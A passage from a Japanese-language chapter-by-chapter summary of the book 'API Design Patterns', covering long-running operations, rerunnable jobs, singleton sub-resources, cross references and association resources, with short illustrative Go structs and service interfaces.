LROの完了を待機します。これらのメソッドを適切に実装することで、クライアントは長時間実行操作の進行状況を効果的に追跡し、結果を取得することができます。LROの制御と管理著者は、LROをより柔軟に管理するための追加機能についても論じています。キャンセル: 実行中の操作を中止する機能です。これは、不要になった操作やエラーが発生した操作を適切に終了させるために重要です。一時停止と再開: 一部の操作では、一時的に処理を停止し、後で再開する機能が有用な場合があります。有効期限: LROリソースをいつまで保持するかを決定するメカニズムです。これは、システムリソースの効率的な管理に役立ちます。これらの機能を実装することで、APIの柔軟性と運用性が向上します。例えば、キャンセル機能は以下のように実装できます。func (s *Service) CancelOperation(ctx context.Context, req *CancelOperationRequest) (*Operation, error) { op, err := s.GetOperation(ctx, &GetOperationRequest{Name: req.Name}) if err != nil { return nil, err } if op.Done { return op, nil } // 操作をキャンセルするロジック // ... op.Done = true op.Error = &ErrorInfo{ Code: int(codes.Cancelled), Message: \\"Operation cancelled by the user.\\", } return s.UpdateOperation(ctx, op)}実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: LROを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。信頼性とエラー処理: LROパターンは、長時間実行操作中に発生する可能性のあるエラーを適切に処理し、クライアントに伝達するメカニズムを提供します。これにより、システム全体の信頼性が向上します。運用性と可観測性: LROリソースを通じて操作の進行状況や状態を追跡できることは、システムの運用性と可観測性を大幅に向上させます。これは、複雑な分散システムの問題診断や性能最適化に特に有用です。ユーザーエクスペリエンス: クライアントに進行状況を提供し、長時間操作をキャンセルする機能を提供することで、APIのユーザーエクスペリエンスが向上します。リソース管理: LROの有効期限を適切に設定することで、システムリソースを効率的に管理できます。これは、大規模なシステムの長期的な運用において特に重要です。結論第10章「Long-running operations」は、APIにおける長時間実行操作の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。LROは、長時間実行操作を非同期で処理するための強力なツールです。LROをAPIリソースとして扱うことで、操作の状態管理と結果の取得が容易になります。ポーリングと待機の両方のアプローチを提供することで、さまざまなクライアントのニーズに対応できます。キャンセル、一時停止、再開などの制御機能を提供することで、APIの柔軟性が向上します。LROリソースの適切な有効期限管理は、システムリソースの効率的な利用につながります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、LROの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なLROの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。LROの適切な実装は、複雑な分散システムにおける非同期処理の管理を容易にし、システム全体の信頼性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。11 Rerunnable jobs「API Design Patterns」の第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は再実行可能なジョブが単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。Figure 11.1 Interaction with a Job resource より引用再実行可能なジョブの必要性と概要著者は、再実行可能なジョブの必要性から議論を始めています。多くのAPIでは、カスタマイズ可能で繰り返し実行する必要のある機能が存在します。しかし、従来のAPIデザインでは、これらの機能を効率的に管理することが困難でした。著者は、この問題に対処するために「ジョブ」という概念を導入しています。ジョブは、APIメソッドの設定と実行を分離する特別なリソースとして定義されています。この分離には以下の利点があります。設定の永続化:ジョブの設定をAPIサーバー側で保存できるため、クライアントは毎回詳細な設定を提供する必要がありません。権限の分離:ジョブの設定と実行に異なる権限を設定できるため、セキュリティとアクセス制御が向上します。スケジューリングの容易さ:ジョブをAPIサーバー側でスケジュールすることが可能になり、クライアント側での複雑なスケジューリング管理が不要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のサービスが協調して動作する環境では、定期的なデータ処理やバックアップなどの操作を効率的に管理する必要があります。再実行可能なジョブを使用することで、これらの操作を一貫した方法で設計し、実行することができます。この辺の再実行性について包括的に知りたいのであればCloud Native Go, 2nd Editionやデータ指向アプリケーションデザイン ―信頼性、拡張性、保守性の高い分散システム設計の原理などが良いのでオススメです。learning.oreilly.com著者は、ジョブの基本的な構造として以下の要素を提案しています。ジョブリソース:設定情報を保持するリソース実行メソッド:ジョブを実行するためのカスタムメソッド実行リソース:ジョブの実行結果を保持するリソース(必要な場合)これらの要素を組み合わせることで、APIは柔軟で再利用可能なジョブ管理システムを提供することができます。Figure 11.2 Interaction with a Job resource with Execution results より引用ジョブリソースの実装著者は、ジョブリソースの実装に関して詳細なガイダンスを提供しています。ジョブリソースは、通常のAPIリソースと同様に扱われますが、その目的は特定の操作の設定を保存することです。ジョブリソースの主な特徴は以下の通りです。一意の識別子:他のリソースと同様に、ジョブリソースも一意の識別子を持ちます。設定パラメータ:ジョブの実行に必要な全ての設定情報を保持します。標準的なCRUD操作:ジョブリソースは作成、読み取り、更新、削除の標準的な操作をサポートします。著者は、チャットルームのバックアップを例にとって、ジョブリソースの設計を説明しています。以下は、Golangを用いてこのジョブリソースを表現した例です。type BackupChatRoomJob struct { ID string `json:\\"id\\"` ChatRoomID string `json:\\"chatRoomId\\"` Destination string `json:\\"destination\\"` CompressionFormat string `json:\\"compressionFormat\\"` EncryptionKey string `json:\\"encryptionKey\\"`}このような設計により、ジョブの設定を永続化し、必要に応じて再利用することが可能になります。また、異なる権限レベルを持つユーザーがジョブの設定と実行を別々に管理できるようになります。ジョブの実行とLRO著者は、ジョブの実行方法についても詳細に説明しています。ジョブの実行は、カスタムメソッド(通常は「run」メソッド)を通じて行われます。このメソッドは、長時間実行操作(LRO)を返すことで、非同期実行をサポートします。以下は、Golangを用いてジョブ実行メソッドを表現した例です。func (s *Service) RunBackupChatRoomJob(ctx context.Context, req *RunBackupChatRoomJobRequest) (*Operation, error) { job, err := s.GetBackupChatRoomJob(ctx, req.JobID) if err != nil { return nil, err } op := &Operation{ Name: fmt.Sprintf(\\"operations/backup_%s\\", job.ID), Metadata: &BackupChatRoomJobMetadata{ JobID: job.ID, Status: \\"RUNNING\\", }, } go s.executeBackupJob(job, op) return op, nil}このアプローチには以下の利点があります。非同期実行:長時間かかる可能性のある操作を非同期で実行できます。進捗追跡:LROを通じて、ジョブの進捗状況を追跡できます。エラーハンドリング:LROを使用することで、ジョブ実行中のエラーを適切に処理し、クライアントに伝達できます。実行リソースの導入著者は、ジョブの実行結果を永続化するための「実行リソース」の概念を導入しています。これは、LROの有効期限が限定される可能性がある場合に特に重要です。実行リソースの主な特徴は以下の通りです。読み取り専用:実行リソースは、ジョブの実行結果を表すため、通常は読み取り専用です。ジョブとの関連付け:各実行リソースは、特定のジョブリソースに関連付けられます。結果の永続化:ジョブの実行結果を長期的に保存し、後で参照することができます。以下は、Golangを用いて実行リソースを表現した例です。type AnalyzeChatRoomJobExecution struct { ID string `json:\\"id\\"` JobID string `json:\\"jobId\\"` ExecutionTime time.Time `json:\\"executionTime\\"` SentenceComplexity float64 `json:\\"sentenceComplexity\\"` Sentiment float64 `json:\\"sentiment\\"` AbuseScore float64 `json:\\"abuseScore\\"`}実行リソースを導入することで、ジョブの実行履歴を管理し、結果を長期的に保存することが可能になります。これは、データ分析や監査の目的で特に有用です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 再実行可能なジョブを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。長時間実行される操作を非同期で処理することで、サーバーリソースを効率的に利用し、クライアントの応答性を維持することができます。運用性と可観測性: ジョブリソースと実行リソースを導入することで、システムの運用性と可観測性が向上します。ジョブの設定、実行状況、結果を一元的に管理できるため、問題の診断や性能最適化が容易になります。セキュリティとアクセス制御: ジョブの設定と実行を分離することで、より細かいアクセス制御が可能になります。これは、大規模な組織や複雑なシステムにおいて特に重要です。バージョニングと後方互換性: ジョブリソースを使用することで、APIの進化に伴う変更を管理しやすくなります。新しいパラメータや機能を追加する際も、既存のジョブとの互換性を維持しやすくなります。スケジューリングと自動化: 再実行可能なジョブは、定期的なタスクやバッチ処理の自動化に適しています。これは、データ処理パイプラインやレポート生成などのシナリオで特に有用です。結論第11章「Rerunnable jobs」は、APIにおける再実行可能なジョブの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な運用性を大きく向上させる可能性があります。特に重要な点は以下の通りです。ジョブリソースを導入することで、設定と実行を分離し、再利用性を高めることができます。カスタムの実行メソッドとLROを組み合わせることで、非同期実行と進捗追跡を実現できます。実行リソースを使用することで、ジョブの結果を永続化し、長期的な分析や監査を可能にします。この設計パターンは、セキュリティ、スケーラビリティ、運用性の向上に貢献します。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、再実行可能なジョブの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なジョブ設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。再実行可能なジョブの適切な実装は、複雑なワークフローの管理を容易にし、システム全体の柔軟性と効率性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。Part 4 Resource relationshipsここでは、APIにおけるリソース間の関係性の表現方法について詳しく解説されています。シングルトンサブリソース、クロスリファレンス、関連リソース、ポリモーフィズムなど、複雑なデータ構造や関係性を APIで表現するための高度なテクニックが紹介されています。これらのパターンを理解し適切に適用することで、より柔軟で表現力豊かなAPIを設計することができます。12 Singleton sub-resources「API Design Patterns」の第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの概念、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はシングルトンサブリソースが単なる設計上の選択ではなく、APIの柔軟性、スケーラビリティ、そして長期的な保守性に直接影響を与える重要な設計パターンであることを明確に示しています。シングルトンサブリソースの必要性と概要著者は、シングルトンサブリソースの必要性から議論を始めています。多くのAPIでは、リソースの一部のデータを独立して管理する必要が生じることがあります。例えば、アクセス制御リスト(ACL)のような大規模なデータ、頻繁に更新される位置情報、または特別なセキュリティ要件を持つデータなどが該当します。これらのデータを主リソースから分離することで、APIの効率性と柔軟性を向上させることができます。シングルトンサブリソースは、リソースのプロパティとサブリソースの中間的な存在として定義されています。著者は、この概念を以下のように説明しています。親リソースに従属:シングルトンサブリソースは常に親リソースに関連付けられます。単一インスタンス:各親リソースに対して、特定のタイプのシングルトンサブリソースは1つしか存在しません。独立した管理:シングルトンサブリソースは、親リソースとは別に取得や更新が可能です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービスと位置情報サービスを分離しつつ、両者の関連性を維持したい場合に、シングルトンサブリソースが有効です。シングルトンサブリソースの実装著者は、シングルトンサブリソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。標準メソッドの制限: シングルトンサブリソースは、通常のリソースとは異なり、標準のCRUD操作の一部のみをサポートします。具体的には、Get(取得)とUpdate(更新)のみが許可されます。暗黙的な作成と削除: シングルトンサブリソースは親リソースの作成時に自動的に作成され、親リソースの削除時に自動的に削除されます。リセット機能: 著者は、シングルトンサブリソースを初期状態にリセットするためのカスタムメソッドの実装を推奨しています。階層構造: シングルトンサブリソースは常に親リソースの直下に位置し、他のシングルトンサブリソースの子になることはありません。これらの原則を適用することで、APIの一貫性と予測可能性を維持しつつ、特定のデータを効率的に管理することができます。以下は、Golangを用いてシングルトンサブリソースを実装する例です。type Driver struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"` LicensePlate string `json:\\"licensePlate\\"`}type DriverLocation struct { ID string `json:\\"id\\"` DriverID string `json:\\"driverId\\"` Latitude float64 `json:\\"latitude\\"` Longitude float64 `json:\\"longitude\\"` UpdatedAt time.Time `json:\\"updatedAt\\"`}type DriverService interface { GetDriver(ctx context.Context, id string) (*Driver, error) UpdateDriver(ctx context.Context, driver *Driver) error GetDriverLocation(ctx context.Context, driverID string) (*DriverLocation, error) UpdateDriverLocation(ctx context.Context, location *DriverLocation) error ResetDriverLocation(ctx context.Context, driverID string) error}この例では、DriverリソースとDriverLocationシングルトンサブリソースを定義しています。DriverServiceインターフェースは、これらのリソースに対する操作を定義しています。シングルトンサブリソースの利点と課題著者は、シングルトンサブリソースの利点と課題について詳細に論じています。利点:データの分離: 頻繁に更新されるデータや大量のデータを分離することで、主リソースの管理が容易になります。細粒度のアクセス制御: 特定のデータに対して、より詳細なアクセス制御を実装できます。パフォーマンスの向上: 必要なデータのみを取得・更新することで、APIのパフォーマンスが向上します。課題:原子性の欠如: 親リソースとサブリソースを同時に更新することができないため、データの一貫性を維持するための追加の作業が必要になる場合があります。複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。これらの利点と課題を考慮しながら、シングルトンサブリソースの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: シングルトンサブリソースを適切に実装することで、APIのスケーラビリティと全体的な性能を向上させることができます。特に、大規模なデータや頻繁に更新されるデータを扱う場合に有効です。セキュリティとアクセス制御: シングルトンサブリソースを使用することで、特定のデータに対してより細かいアクセス制御を実装できます。これは、セキュリティ要件が厳しい環境で特に重要です。システムの進化: シングルトンサブリソースパターンを採用することで、システムの将来的な拡張や変更が容易になります。新しい要件が発生した際に、既存のリソース構造を大きく変更することなく、新しいサブリソースを追加できます。マイクロサービスアーキテクチャとの親和性: シングルトンサブリソースの概念は、マイクロサービスアーキテクチャにおいてサービス間の境界を定義する際に特に有用です。例えば、ユーザープロファイルサービスと位置情報サービスを分離しつつ、両者の関連性を維持することができます。運用性と可観測性: シングルトンサブリソースを使用することで、特定のデータの変更履歴や更新頻度を独立して追跡しやすくなります。これにより、システムの運用性と可観測性が向上します。結論第12章「Singleton sub-resources」は、APIにおけるシングルトンサブリソースの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。シングルトンサブリソースは、特定のデータを親リソースから分離しつつ、強い関連性を維持する効果的な方法です。Get(取得)とUpdate(更新)のみをサポートし、作成と削除は親リソースに依存します。シングルトンサブリソースは、大規模データ、頻繁に更新されるデータ、特別なセキュリティ要件を持つデータの管理に特に有効です。このパターンを採用する際は、データの一貫性維持やAPI複雑性の増加といった課題にも注意を払う必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、シングルトンサブリソースの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。シングルトンサブリソースの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。13 Cross references「API Design Patterns」の第13章「Cross references」は、APIにおけるリソース間の参照の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はリソース間の参照が単なる技術的な実装の詳細ではなく、APIの柔軟性、一貫性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。リソース間参照の必要性と概要著者は、リソース間参照の必要性から議論を始めています。多くのAPIでは、複数のリソースタイプが存在し、これらのリソース間に関連性がある場合が多々あります。例えば、書籍リソースと著者リソースの関係などが挙げられます。これらの関連性を適切に表現し、管理することが、APIの使いやすさと柔軟性を向上させる上で重要です。著者は、リソース間参照の範囲について、以下のように分類しています。ローカル参照:同じAPI内の他のリソースへの参照グローバル参照:インターネット上の他のリソースへの参照中間的参照:同じプロバイダーが提供する異なるAPI内のリソースへの参照この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 13.1 Resources can point at others in the same API or in external APIs. より引用この図は、リソースが同じAPI内の他のリソース、外部APIのリソース、そしてインターネット上の任意のリソースを参照できることを示しています。これは、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザーサービス、注文サービス、支払いサービスなど、複数のマイクロサービス間でリソースを相互参照する必要がある場合に、この概念が適用されます。著者は、リソース間参照の基本的な実装として、文字列型の一意識別子を使用することを提案しています。これにより、同じAPI内のリソース、異なるAPIのリソース、さらにはインターネット上の任意のリソースを統一的に参照することが可能になります。リソース間参照の実装著者は、リソース間参照の実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。参照フィールドの命名: 著者は、参照フィールドの名前に「Id」サフィックスを付けることを推奨しています。例えば、BookリソースがAuthorリソースを参照する場合、参照フィールドはauthorIdと命名します。これにより、フィールドの目的が明確になり、APIの一貫性が向上します。動的リソースタイプの参照: 参照先のリソースタイプが動的に変化する場合、著者は追加のtypeフィールドを使用することを提案しています。これにより、異なるタイプのリソースを柔軟に参照できます。データ整合性: 著者は、参照の整合性(つまり、参照先のリソースが常に存在することを保証すること)を維持することの難しさを指摘しています。代わりに、APIクライアントが参照の有効性を確認する責任を負うアプローチを提案しています。値vs参照: 著者は、参照先のリソースデータをコピーして保持するか(値渡し)、単に参照を保持するか(参照渡し)のトレードオフについて議論しています。一般的に、参照を使用することを推奨していますが、特定の状況では値のコピーが適切な場合もあることを認めています。これらの原則を適用した、Golangでのリソース間参照の実装例を以下に示します。type Book struct { ID string `json:\\"id\\"` Title string `json:\\"title\\"` AuthorID string `json:\\"authorId\\"`}type Author struct { ID string `json:\\"id\\"` Name string `json:\\"name\\"`}type ChangeLogEntry struct { ID string `json:\\"id\\"` TargetID string `json:\\"targetId\\"` TargetType string `json:\\"targetType\\"` Description string `json:\\"description\\"`}この実装では、Book構造体がAuthorIDフィールドを通じてAuthor構造体を参照しています。また、ChangeLogEntry構造体は動的なリソースタイプを参照できるよう設計されています。リソース間参照の利点と課題著者は、リソース間参照の利点と課題について詳細に論じています。利点:柔軟性: リソース間の関係を柔軟に表現できます。一貫性: 参照の表現方法が統一され、APIの一貫性が向上します。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:データ整合性: 参照先のリソースが削除された場合、無効な参照(ダングリングポインタ)が発生する可能性があります。パフォーマンス: 関連するデータを取得するために複数のAPI呼び出しが必要になる場合があります。複雑性: 動的リソースタイプの参照など、一部の実装は複雑になる可能性があります。これらの利点と課題を考慮しながら、リソース間参照の適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: リソース間参照の概念は、マイクロサービス間でのデータの関連付けに直接適用できます。例えば、注文サービスがユーザーサービスのユーザーIDを参照する際に、この設計パターンを使用できます。スケーラビリティとパフォーマンス: 参照を使用することで、各リソースを独立して管理できるため、システムのスケーラビリティが向上します。ただし、関連データの取得に複数のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。データ整合性と可用性のトレードオフ: 強力なデータ整合性を維持しようとすると(例:参照先のリソースの削除を禁止する)、システムの可用性が低下する可能性があります。著者の提案する「緩やかな参照」アプローチは、高可用性を維持しつつ、整合性の問題をクライアント側で処理する責任を負わせます。APIの進化と後方互換性: リソース間参照を適切に設計することで、APIの進化が容易になります。新しいリソースタイプの追加や、既存のリソース構造の変更が、既存の参照に影響を与えにくくなります。監視と運用: リソース間参照を使用する場合、無効な参照の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。これは、システムの長期的な健全性を維持する上で重要な運用タスクとなります。結論第13章「Cross references」は、APIにおけるリソース間参照の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、一貫性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。リソース間参照は、単純な文字列型の識別子を使用して実装すべきです。参照フィールドの命名には一貫性が重要で、「Id」サフィックスの使用が推奨されます。データ整合性の維持は難しいため、クライアント側で参照の有効性を確認する責任を持たせるアプローチが推奨されます。値のコピーよりも参照の使用が一般的に推奨されますが、特定の状況では値のコピーが適切な場合もあります。GraphQLなどの技術を活用することで、リソース間参照に関連するパフォーマンスの問題を軽減できる可能性があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース間参照の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。リソース間参照の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。14 Association resources「API Design Patterns」の第14章「Association resources」は、多対多の関係を持つリソース間の関連性を扱うAPIデザインパターンについて詳細に解説しています。この章を通じて、著者は関連リソースの概念、その実装方法、そしてトレードオフについて明確に示し、APIの柔軟性、スケーラビリティ、そして長期的な保守性にどのように影響するかを説明しています。関連リソースの必要性と概要著者は、多対多の関係を持つリソースの管理がAPIデザインにおいて重要な課題であることを指摘しています。例えば、ユーザーとグループの関係や、学生と講座の関係などが典型的な例として挙げられます。これらの関係を効果的に表現し管理することは、APIの使いやすさと柔軟性を向上させる上で非常に重要です。関連リソースの概念は、データベース設計における結合テーブルに類似しています。APIの文脈では、この結合テーブルを独立したリソースとして扱うことで、関連性そのものに対する操作や追加のメタデータの管理が可能になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、ユーザー管理サービスとグループ管理サービスが別々に存在する場合、これらの間の関係を管理するための独立したサービスやAPIエンドポイントが必要になります。関連リソースのパターンは、このような複雑な関係を効果的に管理するための強力なツールとなります。著者は、関連リソースの基本的な構造として以下の要素を提案しています。独立したリソース識別子関連する両方のリソースへの参照関連性に関する追加のメタデータ(必要に応じて)これらの要素を含む関連リソースは、APIの中で独立したエンティティとして扱われ、標準的なCRUD操作の対象となります。関連リソースの実装著者は、関連リソースの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。命名規則: 関連リソースの名前は、関連する両方のリソースを反映させるべきです。例えば、ユーザーとグループの関連であれば「UserGroup」や「GroupMembership」などが適切です。標準メソッドのサポート: 関連リソースは通常のリソースと同様に、標準的なCRUD操作(Create, Read, Update, Delete, List)をサポートする必要があります。一意性制約: 同じリソースのペアに対して複数の関連を作成することを防ぐため、一意性制約を実装する必要があります。参照整合性: 関連リソースは、参照するリソースの存在に依存します。著者は、参照整合性の維持方法として、制約(関連するリソースが存在する場合のみ操作を許可)または参照の無効化(関連するリソースが削除された場合に関連を無効化する)のアプローチを提案しています。メタデータの管理: 関連性に関する追加情報(例:ユーザーがグループに参加した日時やロールなど)を保存するためのフィールドを提供します。これらの原則を適用した、関連リソースの実装例を以下に示します。type UserGroupMembership struct { ID string `json:\\"id\\"` UserID string `json:\\"userId\\"` GroupID string `json:\\"groupId\\"` JoinedAt time.Time `json:\\"joinedAt\\"` Role string `json:\\"role\\"`}type UserGroupService interface { CreateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) GetMembership(ctx context.Context, id string) (*UserGroupMembership, error) UpdateMembership(ctx context.Context, membership *UserGroupMembership) (*UserGroupMembership, error) DeleteMembership(ctx context.Context, id string) error ListMemberships(ctx context.Context, filter string) ([]*UserGroupMembership, error)}この実装例では、UserGroupMembership構造体が関連リソースを表現し、UserGroupServiceインターフェースが標準的なCRUD操作を提供しています。関連リソースの利点と課題著者は、関連リソースのパターンの利点と課題について詳細に論じています。利点:柔軟性: 関連性そのものを独立したリソースとして扱うことで、関連に対する詳細な操作が可能になります。メタデータの管理: 関連性に関する追加情報を容易に管理できます。スケーラビリティ: 大規模なシステムでも、リソース間の関係を効率的に管理できます。課題:複雑性の増加: APIの構造が若干複雑になり、クライアント側の実装が少し難しくなる可能性があります。パフォーマンス: 関連データを取得するために追加のAPI呼び出しが必要になる場合があります。整合性の維持: 参照整合性を維持するための追加の仕組みが必要になります。これらの利点と課題を考慮しながら、関連リソースパターンの適用を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの親和性: 関連リソースのパターンは、マイクロサービス間のデータの関連付けに直接適用できます。例えば、ユーザーサービスとグループサービスの間の関係を管理する独立したサービスとして実装することができます。スケーラビリティとパフォーマンス: 関連リソースを独立して管理することで、システムのスケーラビリティが向上します。ただし、関連データの取得に追加のAPI呼び出しが必要になる可能性があるため、パフォーマンスとのバランスを取る必要があります。このトレードオフを管理するために、キャッシング戦略やバッチ処理の導入を検討する必要があるでしょう。データ整合性と可用性のトレードオフ: 参照整合性を厳密に維持しようとすると、システムの可用性が低下する可能性があります。一方で、緩やかな整合性を許容すると、無効な関連が一時的に存在する可能性があります。このトレードオフを適切に管理するために、非同期の整合性チェックやイベント駆動型のアーキテクチャの導入を検討することができます。APIの進化と後方互換性: 関連リソースパターンを採用することで、APIの進化が容易になります。新しいタイプの関連や追加のメタデータを導入する際に、既存のクライアントに影響を与えることなく拡張できます。監視と運用: 関連リソースを使用する場合、無効な関連の発生を監視し、必要に応じて修正するプロセスを確立することが重要です。また、関連リソースの数が増加した場合のパフォーマンスの影響や、ストレージの使用量なども監視する必要があります。セキュリティとアクセス制御: 関連リソースに対するアクセス制御を適切に設計することが重要です。例えば、ユーザーがグループのメンバーシップを表示したり変更したりする権限を、きめ細かく制御する必要があります。クエリの最適化: 関連リソースを効率的に取得するためのクエリパラメータやフィルタリングオプションを提供することが重要です。例えば、特定のユーザーが所属するすべてのグループを一度に取得するような最適化されたエンドポイントを提供することを検討できます。バルク操作のサポート: 大量の関連を一度に作成、更新、削除する必要がある場合、バルク操作をサポートすることで効率性を向上させることができます。イベント駆動設計との統合: 関連リソースの変更(作成、更新、削除)をイベントとして発行することで、他のサービスやシステムコンポーネントが適切に反応し、全体的な整合性を維持することができます。ドキュメンテーションと開発者エクスペリエンス: 関連リソースの概念と使用方法を明確にドキュメント化し、開発者がこのパターンを効果的に利用できるようにすることが重要です。API利用者が関連リソースを簡単に作成、管理、クエリできるようなツールやSDKを提供することも検討すべきです。結論第14章「Association resources」は、多対多の関係を持つリソース間の関連性を管理するための重要なパターンを提供しています。このパターンは、APIの柔軟性、スケーラビリティ、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。関連リソースは、多対多の関係を独立したエンティティとして扱うことで、複雑な関係の管理を容易にします。標準的なCRUD操作をサポートし、関連性に関する追加のメタデータを管理できるようにすることが重要です。一意性制約と参照整合性の維持は、関連リソースの設計において重要な考慮事項です。このパターンは柔軟性と拡張性を提供しますが、APIの複雑性とパフォーマンスへの影響を慎重に検討する必要があります。マイクロサービスアーキテクチャやクラウドネイティブ環境において、このパターンは特に有用です。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、現代の複雑な分散システムにおける効果的なデータ管理と関係性の表現に直接的に適用可能です。関連リソースのパターンを採用する際は、システム全体のアーキテクチャと密接に関連付けて考える必要があります。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。関連リソースパターンの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。また、このパターンは、ビジネスロジックの変更や新しい要件の追加に対して柔軟に対応できる基盤を提供します。最後に、関連リソースパターンの採用は、単なる技術的な決定ではなく、ビジネス要件とシステムの長期的な目標を考慮した戦略的な選択であるべきです。適切に実装された関連リソースは、複雑なビジネスルールや関係性を効果的に表現し、システムの価値を長期的に高めることができます。API設計者とシステム設計者は、この強力なパターンを理解し、適切に活用することで、より堅牢で柔軟性の高いシステムを構築することができるでしょう。15 Add and remove custom methods「API Design Patterns」の第15章「Add and remove custom 